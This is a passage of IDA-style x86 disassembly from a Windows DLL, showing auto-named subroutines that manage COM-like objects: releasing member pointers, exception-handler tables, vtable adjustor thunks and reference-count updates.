		xor	eax, eax
		retn	4
sub_69B3EB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3EB79	proc near		; CODE XREF: sub_69B8B00F+1Bp
					; sub_69B8C56F+7p ...

arg_0		= dword	ptr  4

		lea	eax, [ecx+0E8h]
		cmp	dword ptr [eax], 0
		jnz	short loc_69B3EB8A
		mov	eax, [esp+arg_0]
		jmp	short locret_69B3EB9A
; ---------------------------------------------------------------------------


loc_69B3EB8A:				; CODE XREF: sub_69B3EB79+9j
		mov	edx, [esp+arg_0]
		push	ecx
		mov	ecx, esp
		mov	[ecx], edx
		mov	ecx, [eax]
		call	sub_69B519E0

locret_69B3EB9A:			; CODE XREF: sub_69B3EB79+Fj
		retn	4
sub_69B3EB79	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3EB9D	proc near		; CODE XREF: sub_69B3F250+43p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 0E8h
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B3EB9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3EBB0	proc near		; CODE XREF: sub_69B445A4+4Dp
		push	edi
		push	0
		call	sub_69B3DC8C
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B3EBDD
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 2
		push	esi
		mov	esi, eax
		jg	short loc_69B3EBD1
		call	sub_69B2E6D8


loc_69B3EBD1:				; CODE XREF: sub_69B3EBB0+1Aj
		push	dword ptr [esi+14h]
		push	edi
		call	sub_69B3DCF1
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B3EBDD:				; CODE XREF: sub_69B3EBB0+Cj
		mov	eax, offset off_69B277F4
		pop	edi
		retn
sub_69B3EBB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3EBE4	proc near		; CODE XREF: sub_69B3F10D+ABp
					; sub_69B3F58D+38p ...
		push	54h
		push	offset dword_69B3EDF0
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		mov	[ebp-4], ebx
		mov	al, [ebp+8]
		mov	[esi+8Ch], al
		mov	eax, [esi]
		call	dword ptr [eax+68h]
		lea	edi, [esi+60h]
		mov	eax, [edi]
		mov	[ebp-24h], eax
		cmp	eax, ebx
		jnz	short loc_69B3EC2A
		lea	eax, [ebp-20h]
		push	eax
		mov	ecx, esi
		call	sub_69B3DE0E
		lea	eax, [ebp-20h]
		push	eax
		mov	ecx, edi
		jmp	short loc_69B3EC2E
; ---------------------------------------------------------------------------


loc_69B3EC2A:				; CODE XREF: sub_69B3EBE4+31j
		push	edi
		lea	ecx, [ebp-20h]


loc_69B3EC2E:				; CODE XREF: sub_69B3EBE4+44j
		call	sub_69B4D414
		mov	eax, [esi+4Ch]
		mov	[ebp-28h], eax
		and	byte ptr [eax+0Ah], 0FEh
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+6Ch]
		mov	eax, [esi]
		push	2
		mov	ecx, esi
		call	dword ptr [eax+6Ch]
		mov	eax, [esi+6Ch]
		mov	[ebp-2Ch], eax
		cmp	eax, ebx
		jnz	loc_69B3ED50
		cmp	[ebp+14h], ebx
		jz	short loc_69B3EC83
		mov	edi, [edi]
		mov	eax, [edi]
		push	dword ptr [ebp+14h]
		push	edi
		call	dword ptr [eax+40h]
		mov	[ebp-30h], eax
		cmp	eax, ebx
		jge	loc_69B3ED21
		push	eax
		call	sub_69B2E8B8
		jmp	loc_69B3ED21
; ---------------------------------------------------------------------------


loc_69B3EC83:				; CODE XREF: sub_69B3EBE4+7Cj
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B3ECAD
		push	dword ptr [ebp+0Ch]
		lea	ecx, [esi+34h]
		call	sub_69B199CC
		mov	edi, [edi]
		mov	eax, [edi]
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		xor	ecx, ecx
		cmp	[ebp+8], cl
		setz	cl
		push	ecx
		push	edi
		call	dword ptr [eax+3Ch]
		jmp	short loc_69B3ED1E
; ---------------------------------------------------------------------------


loc_69B3ECAD:				; CODE XREF: sub_69B3EBE4+A2j
		mov	[ebp-34h], ebx
		mov	eax, [esi+14h]
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B3ECC3
		mov	[ebp-3Ch], eax
		mov	eax, [eax+0Ch]
		mov	[ebp-34h], eax


loc_69B3ECC3:				; CODE XREF: sub_69B3EBE4+D4j
		mov	[ebp-40h], ebx
		mov	eax, [esi+44h]
		mov	[ebp-44h], eax
		cmp	eax, ebx
		jz	short loc_69B3ED07
		mov	[ebp-48h], eax
		mov	eax, [eax+8]
		mov	[ebp-4Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B3ECFB
		mov	ebx, 80070057h
		push	ebx
		call	sub_69B1D411
		push	eax
		push	ebx
		call	sub_69B1D342
		mov	[ebp-50h], eax
		mov	ecx, eax
		call	sub_69B2E875
		xor	ebx, ebx


loc_69B3ECFB:				; CODE XREF: sub_69B3EBE4+F7j
		mov	eax, [esi+44h]
		mov	[ebp-54h], eax
		mov	eax, [eax+0Ch]
		mov	[ebp-40h], eax


loc_69B3ED07:				; CODE XREF: sub_69B3EBE4+EAj
		mov	edi, [edi]
		mov	eax, [edi]
		xor	ecx, ecx
		cmp	[ebp+8], cl
		setnz	cl
		push	ecx
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-34h]
		push	edi
		call	dword ptr [eax+38h]


loc_69B3ED1E:				; CODE XREF: sub_69B3EBE4+C7j
		mov	[ebp-30h], eax


loc_69B3ED21:				; CODE XREF: sub_69B3EBE4+8Ej
					; sub_69B3EBE4+9Aj
		mov	[ebp-58h], ebx
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		lea	edx, [ebp-58h]
		push	edx
		push	eax
		call	dword ptr [ecx+34h]
		cmp	[ebp-58h], ebx
		jz	short loc_69B3ED47
		push	dword ptr [ebp-58h] ; lpString
		call	sub_69B1A587
		push	eax
		lea	ecx, [esi+48h]
		call	sub_69B199CC


loc_69B3ED47:				; CODE XREF: sub_69B3EBE4+150j
		cmp	dword ptr [ebp-30h], 8000000Ah
		jnz	short loc_69B3ED62


loc_69B3ED50:				; CODE XREF: sub_69B3EBE4+73j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B3EDE2
; ---------------------------------------------------------------------------


loc_69B3ED62:				; CODE XREF: sub_69B3EBE4+16Aj
		cmp	[ebp-30h], ebx
		jz	short loc_69B3ED95
		push	dword ptr [ebp-30h]
		call	sub_69B1D411
		mov	[ebp-5Ch], eax
		push	eax
		push	dword ptr [ebp-30h]
		call	sub_69B1D342
		mov	[ebp-60h], eax
		mov	eax, [esi+44h]
		mov	[ebp-64h], eax
		push	eax
		mov	ecx, [ebp-60h]
		call	sub_69B2EC0C
		mov	ecx, [ebp-60h]
		call	sub_69B2E875


loc_69B3ED95:				; CODE XREF: sub_69B3EBE4+181j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+60h]
		jmp	short loc_69B3EDD5
; ---------------------------------------------------------------------------


loc_69B3ED9E:				; DATA XREF: .text:69B3EDF4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3EDA7:				; DATA XREF: .text:69B3EDF8o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		mov	edi, [esi]
		call	sub_69B2E808
		push	eax
		mov	ecx, esi
		call	dword ptr [edi+64h]
		add	esi, 60h
		push	0
		push	esi
		call	sub_69B17320
		push	0
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17320
		call	sub_69B2E860


loc_69B3EDD5:				; CODE XREF: sub_69B3EBE4+1B8j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230


loc_69B3EDE2:				; CODE XREF: sub_69B3EBE4+179j
		call	sub_69B1853C
		retn	10h
sub_69B3EBE4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B3EDF0	dd 0FFFFFFFFh			dd offset loc_69B3ED9E
		dd offset loc_69B3EDA7

; =============== S U B	R O U T	I N E =======================================



sub_69B3EDFC	proc near		; CODE XREF: sub_69B773BE+54j
					; DATA XREF: .text:69B1BFF0o

var_4		= byte ptr -4

		push	ecx
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+8Ch], 0
		jz	short loc_69B3EE27
		cmp	byte ptr [esi+38h], 0
		jz	short loc_69B3EE27
		mov	ecx, [esi+4Ch]
		lea	eax, [esp+8+var_4]
		push	eax
		call	sub_69B49F0B
		test	eax, eax
		jz	short loc_69B3EE27
		mov	ecx, esi
		call	sub_69B3E516


loc_69B3EE27:				; CODE XREF: sub_69B3EDFC+Bj
					; sub_69B3EDFC+11j ...
		pop	esi
		pop	ecx
		retn
sub_69B3EDFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3EE2A	proc near		; CODE XREF: sub_69B3F790+BBp
					; sub_69B4E45A+C6p ...
		push	2Ch
		push	offset dword_69B3EEF8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		mov	[ebp-4], ebx
		lea	eax, [esi+5Ch]
		mov	[ebp-20h], eax
		push	ebx
		push	eax
		call	sub_69B17320
		mov	eax, [esi+4Ch]
		mov	[ebp-24h], eax
		or	byte ptr [eax+0Ah], 1
		mov	eax, [esi+6Ch]
		mov	[ebp-28h], eax
		cmp	eax, ebx
		jnz	short loc_69B3EEA4
		mov	eax, [esi+60h]
		mov	[ebp-2Ch], eax
		cmp	eax, ebx
		jz	short loc_69B3EEA4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+64h]
		mov	[ebp-30h], eax
		cmp	eax, 4
		jz	short loc_69B3EE7E
		cmp	eax, 3
		jnz	short loc_69B3EE8A


loc_69B3EE7E:				; CODE XREF: sub_69B3EE2A+4Dj
		mov	eax, [esi+60h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		mov	[ebp-30h], eax


loc_69B3EE8A:				; CODE XREF: sub_69B3EE2A+52j
		cmp	eax, ebx
		jz	short loc_69B3EEA4
		mov	ecx, [esi+60h]
		mov	[ebp-34h], ecx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_69B3D7B4
		mov	ecx, eax
		call	sub_69B2E875


loc_69B3EEA4:				; CODE XREF: sub_69B3EE2A+35j
					; sub_69B3EE2A+3Fj ...
		mov	eax, [esi+6Ch]
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B3EEB8
		mov	[ebp-3Ch], eax
		mov	ecx, eax
		call	sub_69B2E875


loc_69B3EEB8:				; CODE XREF: sub_69B3EE2A+82j
		cmp	[esi+84h], bl
		jnz	short loc_69B3EEE9
		mov	ecx, esi
		call	sub_69B3DF78
		mov	eax, [esi]
		push	4
		mov	ecx, esi
		call	dword ptr [eax+6Ch]
		jmp	short loc_69B3EEE9
; ---------------------------------------------------------------------------


loc_69B3EED2:				; DATA XREF: .text:69B3EEFCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3EEDB:				; DATA XREF: .text:69B3EF00o
		mov	esp, [ebp-18h]
		mov	ecx, [ebp-1Ch]
		push	dword ptr [ecx+60h]
		call	sub_69B3E43A


loc_69B3EEE9:				; CODE XREF: sub_69B3EE2A+94j
					; sub_69B3EE2A+A6j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn
sub_69B3EE2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3EEF8	dd 0FFFFFFFFh			dd offset loc_69B3EED2
		dd offset loc_69B3EEDB

; =============== S U B	R O U T	I N E =======================================



sub_69B3EF04	proc near		; CODE XREF: sub_69B77375+Ep
					; DATA XREF: .text:69B1BFECo

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		cmp	[esi+40h], ebx
		jz	short loc_69B3EF55
		cmp	ebx, 4
		mov	[esi+40h], ebx
		jnz	short loc_69B3EF20
		push	0
		call	sub_69B3E1E4


loc_69B3EF20:				; CODE XREF: sub_69B3EF04+13j
		push	edi
		mov	ecx, esi
		call	sub_69B3E475
		lea	edi, [esi+0D0h]
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B3EF54
		cmp	ebx, 4
		jnz	short loc_69B3EF54
		push	esi
		call	sub_69B3E947
		push	0
		push	edi
		call	sub_69B2DEB2
		add	esi, 0ACh
		push	esi		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement


loc_69B3EF54:				; CODE XREF: sub_69B3EF04+2Ej
					; sub_69B3EF04+33j
		pop	edi


loc_69B3EF55:				; CODE XREF: sub_69B3EF04+Bj
		pop	esi
		pop	ebx
		retn	4
sub_69B3EF04	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3EF5A	proc near		; CODE XREF: sub_69B3F575+3j
					; sub_69B3F57D+3j ...
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		lea	eax, [esi+0B4h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+0B8h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+0BCh]
		push	edi
		push	eax
		call	sub_69B17320
		push	dword ptr [esi+0A0h]
		call	sub_69B50ECD
		push	edi
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+88h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_69B17320
		lea	ebx, [esi+4Ch]
		cmp	[ebx], edi
		jz	short loc_69B3EFD5
		push	1
		mov	ecx, esi
		call	sub_69B3D622
		push	edi
		push	ebx
		call	sub_69B17320


loc_69B3EFD5:				; CODE XREF: sub_69B3EF5A+69j
		push	edi
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+54h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+58h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+6Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+70h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+74h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0D4h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0D8h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0D0h]
		push	eax
		call	sub_69B2DEB2
		push	edi
		lea	eax, [esi+0A8h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0C0h]
		push	eax
		call	sub_69B17320
		push	dword ptr [esi+0C4h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		push	edi
		lea	eax, [esi+0E8h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B7DC68
sub_69B3EF5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F0A6	proc near		; CODE XREF: sub_69B1DE55+6B8Dp
					; sub_69B3F894+2Ap ...
		push	esi
		mov	esi, ecx
		call	sub_69B17355
		mov	ecx, esi
		call	sub_69B183BB
		cmp	eax, 1
		jnz	short loc_69B3F0D5
		call	sub_69B2C65C
		lea	eax, [esi+10h]
		push	0
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320


loc_69B3F0D5:				; CODE XREF: sub_69B3F0A6+12j
		mov	ecx, esi
		call	sub_69B183BB
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B3F0E8
		push	eax
		call	sub_69B18C0C


loc_69B3F0E8:				; CODE XREF: sub_69B3F0A6+3Aj
		mov	eax, esi
		pop	esi
		retn
sub_69B3F0A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F0EC	proc near		; CODE XREF: sub_69B589EC+64p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B3D9E1 SIZE 00000037 BYTES

		add	ecx, 0B4h
		jmp	loc_69B3D9E1
sub_69B3F0EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F0F7	proc near		; CODE XREF: sub_69B58ACC+64p
		add	ecx, 0B8h
		jmp	loc_69B3D9E1
sub_69B3F0F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F102	proc near		; CODE XREF: sub_69B58BA4+64p
		add	ecx, 0BCh
		jmp	loc_69B3D9E1
sub_69B3F102	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F10D	proc near		; CODE XREF: sub_69B3FB2F+80p
					; sub_69B58274+57p ...
		push	1Ch
		push	offset dword_69B3F238
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		push	dword ptr [ebp+8]
		call	sub_69B887B0
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		mov	[ebp-20h], edi
		mov	al, [esi+83h]
		mov	[ebp-21h], al
		mov	al, [esi+38h]
		mov	[ebp-22h], al
		lea	eax, [esi+8Ch]
		mov	cl, [eax]
		mov	[ebp-23h], cl
		mov	[eax], bl
		mov	[ebp-4], ebx
		push	ebx
		lea	ecx, [esi+10h]
		call	sub_69B3D51D
		test	eax, eax
		jz	short loc_69B3F176
		cmp	[esi+1Ch], ebx
		jz	short loc_69B3F176
		mov	[esi+83h], bl


loc_69B3F176:				; CODE XREF: sub_69B3F10D+5Cj
					; sub_69B3F10D+61j
		mov	ecx, esi
		call	sub_69B3DF21
		mov	dword ptr [ebp-4], 1
		lea	ecx, [esi+0Ch]
		call	sub_69B89F54
		mov	[ebp-4], ebx
		jmp	short loc_69B3F1A5
; ---------------------------------------------------------------------------


loc_69B3F191:				; DATA XREF: .text:69B3F248o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3F19A:				; DATA XREF: .text:69B3F24Co
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	esi, [ebp-1Ch]


loc_69B3F1A5:				; CODE XREF: sub_69B3F10D+82j
		mov	[esi+38h], bl
		push	dword ptr [ebp-20h]
		push	ebx
		push	ebx
		xor	eax, eax
		mov	al, [esi+8Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B3EBE4
		mov	eax, [esi+6Ch]
		mov	[ebp-28h], eax
		cmp	eax, ebx
		jz	short loc_69B3F208
		mov	[ebp-2Ch], eax
		mov	ecx, eax
		call	sub_69B2E875
		jmp	short loc_69B3F208
; ---------------------------------------------------------------------------


loc_69B3F1D3:				; DATA XREF: .text:69B3F23Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3F1DC:				; DATA XREF: .text:69B3F240o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		mov	al, [ebp-21h]
		mov	[esi+83h], al
		mov	al, [ebp-22h]
		mov	[esi+38h], al
		mov	al, [ebp-23h]
		mov	[esi+8Ch], al
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230
		call	sub_69B2E860


loc_69B3F208:				; CODE XREF: sub_69B3F10D+B8j
					; sub_69B3F10D+C4j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	al, [ebp-21h]
		mov	[esi+83h], al
		mov	al, [ebp-22h]
		mov	[esi+38h], al
		mov	al, [ebp-23h]
		mov	[esi+8Ch], al
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230
		call	sub_69B1853C
		retn	4
sub_69B3F10D	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B3F238	dd 0FFFFFFFFh			dd offset loc_69B3F1D3
		dd offset loc_69B3F1DC
		align 8
		dd offset loc_69B3F191
		dd offset loc_69B3F19A

; =============== S U B	R O U T	I N E =======================================



sub_69B3F250	proc near		; CODE XREF: Ordinal11+Cp
		push	20h
		push	offset dword_69B3F2E0
		call	sub_69B19C5C
		mov	esi, ecx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B3F274
		mov	eax, 80004005h
		jmp	short loc_69B3F2D8
; ---------------------------------------------------------------------------


loc_69B3F274:				; CODE XREF: sub_69B3F250+1Bj
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], edi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	esi
		call	sub_69B514F6
		mov	[ebp-30h], eax
		push	eax
		mov	ecx, esi
		call	sub_69B3EB9D
		mov	ecx, esi
		call	sub_69B1BE5D
		jmp	short loc_69B3F2C1
; ---------------------------------------------------------------------------


loc_69B3F2A1:				; DATA XREF: .text:69B3F2E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3F2AA:				; DATA XREF: .text:69B3F2E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B3F2C1:				; CODE XREF: sub_69B3F250+4Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B3F2D8:				; CODE XREF: sub_69B3F250+22j
		call	sub_69B1853C
		retn	8
sub_69B3F250	endp

; ---------------------------------------------------------------------------
dword_69B3F2E0	dd 0FFFFFFFFh			dd offset loc_69B3F2A1
		dd offset loc_69B3F2AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B7885C


loc_69B3F2EC:				; CODE XREF: sub_69B3F305+167j
					; sub_69B7885C+52j ...
		push	esi
		mov	esi, ecx
		neg	ecx
		lea	eax, [esi+0Ch]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B3BA55
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
; END OF FUNCTION CHUNK	FOR sub_69B7885C

; =============== S U B	R O U T	I N E =======================================



sub_69B3F305	proc near		; CODE XREF: sub_69B3F8F1+3p
					; sub_69B778D9+1Ej
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebx, [esi+24h]
		push	offset Addend	; lpAddend
		mov	dword ptr [esi], offset	off_69B1BF80
		mov	dword ptr [esi+0Ch], offset off_69B220C0
		mov	dword ptr [ebx], offset	off_69B12488
		mov	dword ptr [esi+28h], offset off_69B12440
		mov	dword ptr [esi+2Ch], offset off_69B12400
		call	ds:InterlockedDecrement	; InterlockedDecrement
		lea	eax, [esi+0E8h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0DCh]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0D8h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0D4h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0D0h]
		push	eax
		call	sub_69B2DEDD
		lea	eax, [esi+0C0h]
		push	eax
		call	sub_69B17230
		xor	edi, edi
		lea	eax, [esi+0BCh]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+0B8h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+0B4h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+0A8h]
		push	eax
		call	sub_69B17230
		lea	edi, [esi+98h]
		push	dword ptr [edi]
		call	sub_69B1B2B7
		and	dword ptr [edi], 0
		lea	eax, [esi+88h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+74h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+70h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+6Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+68h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+58h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+2Ch]
		call	sub_69B18700
		lea	ecx, [esi+28h]
		call	sub_69B18700
		mov	ecx, ebx
		call	sub_69B18700
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	loc_69B3F2EC
sub_69B3F305	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F471	proc near		; DATA XREF: .text:off_69B12488o
					; .text:off_69B21FF8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 24h
		jmp	sub_69B1BFF8
sub_69B3F471	endp

; ---------------------------------------------------------------------------


loc_69B3F47B:				; DATA XREF: .text:69B12494o
		sub	ecx, 24h
		jmp	sub_69B3F8F1

; =============== S U B	R O U T	I N E =======================================



sub_69B3F483	proc near		; DATA XREF: .text:69B12498o
					; .text:69B143E8o ...
		sub	ecx, 24h
		jmp	sub_69B1B57D
sub_69B3F483	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F48B	proc near		; DATA XREF: .text:69B1249Co
					; .text:69B143ECo ...
		sub	ecx, 24h
		jmp	sub_69B1BF60
sub_69B3F48B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F493	proc near		; DATA XREF: .text:69B124A0o
					; .text:69B143F0o ...
		sub	ecx, 24h
		jmp	sub_69B186A8
sub_69B3F493	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F49B	proc near		; DATA XREF: .text:69B124A4o
					; .text:69B22014o
		sub	ecx, 24h
		jmp	sub_69B3D1F0
sub_69B3F49B	endp

; ---------------------------------------------------------------------------


loc_69B3F4A3:				; DATA XREF: .text:off_69B12440o
					; .text:off_69B21FB0o
		sub	dword ptr [esp+4], 28h
		jmp	sub_69B1BFF8
; ---------------------------------------------------------------------------


loc_69B3F4AD:				; DATA XREF: .text:69B1244Co
		sub	ecx, 28h
		jmp	sub_69B3F8F1
; ---------------------------------------------------------------------------


loc_69B3F4B5:				; DATA XREF: .text:69B12450o
					; .text:69B21FC0o
		sub	ecx, 28h
		jmp	sub_69B1B57D
; ---------------------------------------------------------------------------


loc_69B3F4BD:				; DATA XREF: .text:69B12454o
					; .text:69B21FC4o
		sub	ecx, 28h
		jmp	sub_69B1BF60
; ---------------------------------------------------------------------------


loc_69B3F4C5:				; DATA XREF: .text:69B12458o
					; .text:69B21FC8o
		sub	ecx, 28h
		jmp	sub_69B186A8
; ---------------------------------------------------------------------------


loc_69B3F4CD:				; DATA XREF: .text:69B1245Co
					; .text:69B21FCCo
		sub	ecx, 28h
		jmp	sub_69B3D1F0
; ---------------------------------------------------------------------------


loc_69B3F4D5:				; DATA XREF: .text:off_69B12400o
					; .text:off_69B21F70o
		sub	dword ptr [esp+4], 2Ch
		jmp	sub_69B1BFF8
; ---------------------------------------------------------------------------


loc_69B3F4DF:				; DATA XREF: .text:69B1240Co
		sub	ecx, 2Ch
		jmp	sub_69B3F8F1

; =============== S U B	R O U T	I N E =======================================



sub_69B3F4E7	proc near		; DATA XREF: .text:69B12410o
					; .text:69B16100o ...
		sub	ecx, 2Ch
		jmp	sub_69B1B57D
sub_69B3F4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F4EF	proc near		; DATA XREF: .text:69B12414o
					; .text:69B16104o ...
		sub	ecx, 2Ch
		jmp	sub_69B1BF60
sub_69B3F4EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F4F7	proc near		; DATA XREF: .text:69B12418o
					; .text:69B16108o ...
		sub	ecx, 2Ch
		jmp	sub_69B186A8
sub_69B3F4F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F4FF	proc near		; DATA XREF: .text:69B1241Co
					; .text:69B21F8Co
		sub	ecx, 2Ch
		jmp	sub_69B3D1F0
sub_69B3F4FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F507	proc near		; DATA XREF: .text:69B1BFD4o
					; .text:69B2209Co
		mov	eax, [ecx]
		jmp	dword ptr [eax+50h]
sub_69B3F507	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F50C	proc near		; DATA XREF: .text:69B1BFD8o
					; .text:69B220A0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	[ecx+78h], eax
		retn	4
sub_69B3F50C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F516	proc near		; DATA XREF: .text:69B1BFDCo
					; .text:69B220A4o
		mov	eax, [ecx+78h]
		retn
sub_69B3F516	endp


